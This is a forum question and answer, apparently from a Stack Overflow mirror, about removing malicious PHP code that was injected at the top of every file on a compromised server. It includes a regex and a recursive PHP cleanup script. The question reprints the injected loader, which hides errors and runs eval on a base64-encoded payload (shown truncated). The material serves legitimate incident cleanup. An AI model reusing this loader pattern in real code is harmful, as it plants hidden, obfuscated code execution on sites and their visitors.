Im looking around to clean a massive php attack with malicious code from one of our servers, and Im having problems around the complexity to find the correct path to search and replace text. Looking around I found how all php files has this code
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
When I try to use sed command I can't remove all code, because some php files has other code in the first line, and only removing first line is not a solution.
First I create the file with infected files:
grep 'ZXJyb3JfcmVwb3J0aW5nKDApOwppZ' ./ -Rl > infected.txt
using;
for hackFile in `cat infected.txt`; do sed -i 's#<?php *ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>##' $hackFile; done
I finish the loop to remove all infected files, but for all special characters produce errors all the time and I can't find the exact filter. Somebody can help me to do the correct sed filter? Other tests
for hackFile in `cat infected.txt`; do sed -i 's/<?php*ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>//g'
I don't know how to filter special characters like / or *
To put and example, some php files appears starting the first line with
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
And I can remove directly the line. But exist other case:
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?> <?php
And exist the possibility to have a php file with more code in the first line not finishing only in "
So, I need to remove the code, not replace for any character, and not affecting the rest of the line. I saw the form to remove with sed the line completely, but I'm looking only the code inserted being the pattern
Obviously we are debugging to stop future attacks, but first I need to clean the code to restart the website.
If someone is curios I can send the decoded code too.
Thanks
I have the same issue today on a Drupal 7 after a Base64 Attack occured this night. Here is my working solution making a regex, scanning all files and removing the infected parts.
The Regex
This regular expression will catch all code between /*947353*/
and /*947353*/
(in my case /*435345352*/
) (Debuggex demo here) :
/\*435345352\*\/(.*)\/\*435345352\*\/
The script
After that, I made a PHP script that browses all files and clean them.
function scanAndClean($start) {
$contents = scandir($start);
array_splice($contents, 0, 2);
foreach ($contents as $item ) {
$path = "$start\\$item";
if (is_dir($path) && (substr($item, 0, 1) != '.') ) {
scanAndClean($path);
}
elseif(in_array(pathinfo($path, PATHINFO_EXTENSION), array('php','inc','module'))) {
cleanFile($path);
}
}
}
function cleanFile($file) {
echo "file scanned : $file...\n";
$content = file_get_contents($file);
$pattern = "/\/\*435345352\*\/(.*)\/\*435345352\*\//";
preg_match($pattern, $content, $matches, PREG_OFFSET_CAPTURE, 3);
if(sizeof($matches) > 0) {
file_put_contents($file, str_replace("<?php ?>", '', preg_replace($pattern, '', $content)));
echo "\nfile cleaned\n\n";
}
else {
echo "file Ok\n\n";
}
}
Run it!
Placed in website's root directory, this script will scan all subdirectories and returns *.module
, *.inc
, and *.php
(that are all potentially infected php files in my case).
// start from this directory
$dir = getcwd();
// to go to parent directory (if script placed in a subdirectory)
//chdir("../");
//$dir = getcwd();
// run scan and clean...
$files = scanAndClean($dir);
After that, my site was instantly online again.
Notes
WINDOWS / LINUX VERSION This version is for Windows IIS Server. For a Linux path change
$path = "$start\\$item";
to$path = "$start/$item";
Thanks to @koushik-das for show_files()
function https://stackoverflow.com/a/37384003/2282880
Consider the following article to prevent new attacks... https://www.thonky.com/how-to/prevent-base-64-decode-hack
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With